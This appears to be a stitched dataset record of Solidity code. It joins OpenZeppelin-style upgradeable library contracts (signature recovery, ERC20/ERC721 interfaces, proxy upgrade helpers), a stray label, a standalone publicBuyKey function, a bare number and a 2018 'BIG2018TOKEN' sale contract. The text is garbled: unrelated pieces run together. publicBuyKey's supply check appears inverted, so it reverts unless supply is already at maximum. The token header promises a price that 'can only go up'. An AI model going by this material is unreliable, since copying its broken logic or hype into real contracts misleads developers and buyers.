RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
checks effects interactions
function publicBuyKey() external payable nonReentrant { require(startPublicSale, "GEN_KEY: invalid time"); require(!isContract(msg.sender), "GEN_KEY: !CONTRACT"); if (totalSupply() != MAX_SUPPLY) revert MaxSupply(); if (latestClaimTokenId == 5000) revert MaxSupply(); uint256 currPrice = getCurrentPrice(); require(msg.value >= currPrice, "GEN_KEY: INSUFFICIENT FUNDS"); latestClaimTokenId += 1; if (msg.value > currPrice) { safeTransferETH(msg.sender, msg.value - currPrice); } safeTransferETH(multiSig, address(this).balance); _adminTransfer(address(this), msg.sender, latestClaimTokenId); }
14,727,195
pragma solidity ^0.4.16; /* \/\/\/\/\/\/\/\WELCOME TO BIG 2018 TOKEN/\/\/\/\/\/\/\/ This token is the first stage in a revolutionary new distributed game where the odds are forever in your favour yet similar to poker where chip leads give you the edge; BIG2018TOKEN will play a similar role. \/\/\/\/\/\/\/\/THE PRICE CAN ONLY GO UP\/\/\/\/\/\/\/\/ This smart contract will only allow a limited number of tokens to be bought each day. Once they are gone, you will have to wait for the next days release, yet the price will go up each day. This is set so the price will rise 2.7%/DAY (the best I can get from my bank each yr) or x2.25 each month. Rounded this gives: Day001 = 0.00010 Eth Day050 = 0.00037 Eth Day100 = 0.00138 Eth Day150 = 0.00528 Eth Day200 = 0.02003 Eth Day250 = 0.07633 Eth Day300 = 0.28959 Eth Day350 = 1.10048 Eth Day365 = 1.64232 Eth Day366(2019) no longer available :( This price increase will be to benifit the super early birds who work closley with Ethereum and likely to find this smart contract hidden away and able to call it directly before word spreads to the wider masses and a UI and promotion gets involved later in the year. */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Big2018Token { //////////////////////////////////////////////////////// //Intitial Parameters /**********Admin**********/ address public creator; //keep track of creator /**********DailyRelease**********/ uint256 public tokensDaily = 10000; //max tokens available each day uint256 tokensToday = 0; //no tokens given out today uint256 public leftToday = 10000; //tokens left to sell today uint startPrice = 100000000000000; //COMPOUND INCREASE: Wei starter price that will be compounded uint q = 37; //COMPOUND INCREASE: for (1+1/q) multipler rate of 1.027 per day uint countBuy = 0; //count times bought uint start2018 = 1514764800; //when tokens become available uint end2018 = 1546300799; //last second tokens available uint day = 1; //what day is it uint d = 86400; //sedonds in a day uint dayOld = 1; //counter to kep track of last day tokens were given /**********GameUsage**********/ address public game; //address of Game later in year mapping (address => uint) public box; //record each persons box choice uint boxRand = 0; //To start with random assignment of box used later in year, ignore use for token uint boxMax = 5; //Max random random assignment to box used later in year, ignore use for token event BoxChange(address who, uint newBox); //event that notifies of a box change in game /**********ERC20**********/ string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; //record who owns what event Transfer(address indexed from, address indexed to, uint256 value);// This generates a public event on the blockchain that will notify clients event Burn(address indexed from, uint256 value); // This notifies clients about the amount burnt mapping (address => mapping (address => uint256)) public allowance; /**********EscrowTrades**********/ struct EscrowTrade { uint256 value; //value of number or tokens for sale uint price; //min purchase price from seller address to; //specify who is to purchase the tokens bool open; //anyone can purchase rather than named buyer. false = closed. true = open to all. } mapping (address => mapping (uint => EscrowTrade)) public escrowTransferInfo; mapping (address => uint) userEscrowCount; event Escrow(address from, uint256 value, uint price, bool open, address to); // This notifies clients about the escrow struct EscrowTfr { address from; //who has defined this escrow trade uint tradeNo; //trade number this user has made } EscrowTfr[] public escrowTransferList; //make an array of the escrow trades to be looked up uint public escrowCount = 0; //////////////////////////////////////////////////////// //Run at start function Big2018Token() public { creator = msg.sender; //store sender as creator game = msg.sender; //to be updated once game released with game address totalSupply = 3650000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[this] = totalSupply; // Give the creator all initial tokens name = "BIG2018TOKEN"; // Set the name for display purposes symbol = "B18"; // Set the symbol for display purposes } //////////////////////////////////////////////////////// //The Price of the Token Each Day. 0 = today function getPriceWei(uint _day) public returns (uint) { require(now >= start2018 && now <= end2018); //must be in 2018 day = (now - start2018)/d + 1; //count number of days since opening if (day > dayOld) { //resent counter if first tx per day uint256 _value = ((day - dayOld - 1)*tokensDaily + leftToday) * 10 ** uint256(decimals); _transfer(this, creator, _value); //give remaining tokens from previous day to creator tokensToday = 0; //reset no of tokens sold today, this wont stick as 'veiw' f(x). will be saved in buy f(x) dayOld = day; //reset dayOld counter } if (_day != 0) { //if _day = 0, calculate price for today day = _day; //which day should be calculated } // Computes 'startPrice * (1+1/q) ^ n' with precision p, needed as solidity does not allow decimal for compounding //q & startPrice defined at top uint n = day - 1; //n of days to compound the multipler by uint p = 3 + n * 5 / 100; //itterations to calculate compound daily multiplier. higher is greater precision but more expensive uint s = 0; //output. itterativly added to for result uint x = 1; //multiply side of binomial expansion uint y = 1; //divide side of binomial expansion //itterate top q lines binomial expansion to estimate compound multipler for (uint i = 0; i < p; ++i) { //each itteration gets closer, higher p = closer approximation but more costly s += startPrice * x / y / (q**i); //iterate adding each time to s x = x * (n-i); //calc multiply side y = y * (i+1); //calc divide side } return (s); //return priceInWei = s } //////////////////////////////////////////////////////// //Giving New Tokens To Buyer function () external payable { // must buy whole token when minting new here, but can buy/sell fractions between eachother require(now >= start2018 && now <= end2018); //must be in 2018 uint priceWei = this.getPriceWei(0); //get todays price uint256 giveTokens = msg.value / priceWei; //rounds down to no of tokens that can afford if (tokensToday + giveTokens > tokensDaily) { //if asking for tokens than left today giveTokens = tokensDaily - tokensToday; //then limit giving to remaining tokens } countBuy += 1; //count usage tokensToday += giveTokens; //count whole tokens issued today box[msg.sender] = this.boxChoice(0); //assign box number to buyer _transfer(this, msg.sender, giveTokens * 10 ** uint256(decimals)); //transfer tokens from this contract uint256 changeDue = msg.value - (giveTokens * priceWei) * 99 / 100; //calculate change due, charged 1% to disincentivise high volume full refund calls. require(changeDue < msg.value); //make sure refund is not more than input msg.sender.transfer(changeDue); //give change } //////////////////////////////////////////////////////// //To Find Users Token Ammount and Box number function getValueAndBox(address _address) view external returns(uint, uint) { return (balanceOf[_address], box[_address]); } //////////////////////////////////////////////////////// //For transfering tokens to others function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows uint previousbalanceOf = balanceOf[_from] + balanceOf[_to]; // Save this for an assertion in the future balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousbalanceOf); // Asserts are used to use static analysis to find bugs in your code. They should never fail } //////////////////////////////////////////////////////// //Transfer tokens function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } 